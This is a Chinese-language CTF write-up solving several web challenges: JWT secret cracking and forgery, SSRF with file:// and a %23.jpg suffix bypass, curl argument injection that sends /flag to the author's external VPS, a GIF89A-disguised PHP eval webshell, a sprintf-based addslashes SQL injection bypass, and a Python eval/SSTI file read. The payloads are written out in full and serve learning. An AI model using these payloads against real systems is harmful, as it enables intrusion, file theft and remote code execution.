easyadmin
抓包发现jwt
HS256加密,找到密钥即可伪造,用工具爆破密钥即可
密钥是sjwt
伪造角色字段role值为admin
再登陆即可获得flag
c-jwt-crack下载地址:https://github.com/brendan-rius/c-jwt-cracker
ez_gallery_1
html源码里有提示<?php $flag='flag in the /flag';?>
http://xxxx/gallery.php?path=http://127.0.0.1:8082/gallery/static/img/portfolio-1.jpg
猜测是ssrf漏洞,直接利用file协议读/flag:?path=file:///flag
读不出来
于是就在自己的vps上随便写一个php文件来读:?path=http://vps/phpinfo.php
,发现读不出来
但是读一个jpg图片可以:?path=http://vps/1.jpg
所以就怀疑是不是对path参数做了检测,必须带有后缀名.jpg
于是就访问?path=http://vps/phpinfo.php%23.jpg
,发现成功访问,%23
代表#
后面的.jpg
自然不会传入后台代码
于是访问?path=file:///flag%23.jpg
就能拿到flag了
ez_gallery_2
过滤了file协议,貌似只能用http和https协议,那么我们就利用http协议来访问自己的vps,在自己监听端口
发现服务器是通过curl来访问的
那么我们就可以利用curl -d命令来构造POST请求包获得数据:
?f=http://120.77.180.97:8888/index.php%20-d%201%23.jpg
于是尝试:?f=http://120.77.180.97:8888/index.php%20-d%20/flag%23.jpg
没有获得到flag,但是我们还能使用curl -F
命令,-F
参数能够传输文件,具体格式如下:
1 | curl -F "file=@__FILE_PATH__" |
于是构造payload:
1 | ?f=http://120.77.180.97:8888/index.php%20-F%20myflag=@/flag%20-F%20x=1%23.jpg |
成功读取到了/flag文件
easyupload
发现上传检查了文件内容,文件内容加上GIF89A即可上传木马,但是上传后没有回显文件地址,只有base64加密的文件内容
page参数有包含,但是过滤了://,所以我们就不能用伪协议来读取源码了
我们可以发现上传的包中还有另一个参数picurl
,这个参数在上传页面中对应的是上传在线图片
我们试着输入一个在线图片地址
发现上传成功,那么能不能用file协议读文件呢,试一下file:///etc/passwd
但是上传其他文件,例如file:///var/www/html/index.php是没有重定向的,说明没有上传成功,所以猜测可能是过滤了var
关键字
所以通过特殊目录file:///proc/self/cwd/index.php
来获得index.php文件,/proc
目录与当前进程相关,self
代表当前进程,cwd
则代表软链接,所以能直接指向apache的根目录
获得的index.php源码如下:
upload.php源码如下:
从源码中我们可以获得上传路径,关键代码如下:
1 | $ddir="./upload_u_c4nt_acc3ss/"; |
利用我们前面提到的加上GIF89A后上传的马和获得的上传路径,我们就可以直接访问到我们上传的马,但是这里还需要注意代码中对上传的php文件内容有一处过滤,代码如下:
1 | if(preg_match('/^ph(.*)$/i',$ext)){ |
既然去掉了?
那么,我们就不能使用<?php ?>
标签,所以文件内容为:
1 | <script language='php'>@eval($_GET[_]);</script> |
上传后直接访问即可执行命令
easysqli
user参数和pass参数都经过addslashes
函数过滤,题目也给出了提示要绕过addslashes
函数
后台对输入的用户名开头检查,必须是admin开头,对sql的执行结果有回显
但是普通的方法,例如宽字节注入,base64,url编码都尝试了无法绕过,所以只能考虑用sprintf字符串格式化漏洞来绕过,参考:https://blog.csdn.net/weixin_41185953/article/details/80485075
猜测后台代码:
1 | $user = addslashes($_GET['user']); |
简单的说,sprintf字符串漏洞思想为:%后的一个字符都会被当作字符型类型而被吃掉,也就是被当作一个类型进行匹配后面的变量,比如%c匹配asciii码,%d匹配整数,如果不在定义的也会匹配,匹配空,比如%\,这样我们的目的只有一个,使得单引号逃逸,也就是能够起到闭合的作用。
也就是说,如果pass字段带有%\,那么php会把\当作一个格式化字符的类型而吃掉, 最后%\(或%1$\)被替换为空
所以最终payload:
1 | /result.php?user=admin&pass=%251$%27%20or%201%23&pow=01cc6dc |
拼凑起来的sql语句就是:
1 | select * from users where username='admin' and password='%1$\' or 1#'; |
由于php把%1$\
当作是格式字符,由于匹配不到值,所以替换为空,造成了\
后面的单引号逃逸,最终执行的sql语句为:
1 | select * from users where username='admin' and password='' or 1#'; |
fast_calc_2
根据源代码中的js文件:script.js
1 | function my_eval(expr){ |
构造发送至calc.php文件的POST数据包
1 | POST /calc.php HTTP/1.1 |
发现存在SSTI,但是过滤了[]
,__base__
,__subclasses__
测了一下当 open 紧跟着刮号时会被拦,用一个空格隔开,然后就可以任意读文件了…盲猜 flag 在根目录
payload如下:
1 | {"target":"/","expr":"open ('/flag').__getattribute__('read')()"} |
查看源码:
1 | open ('/proc/self/cwd/calc.php').__getattribute__('read')() |
calc.php:
1 | <?php |
1 | open ('/proc/self/cwd/final.py').__getattribute__('read')() |
final.py:
1 | #!/usr/bin/env python |
几个常用payload的内建函数被删了
1 | del type_dict["base"] |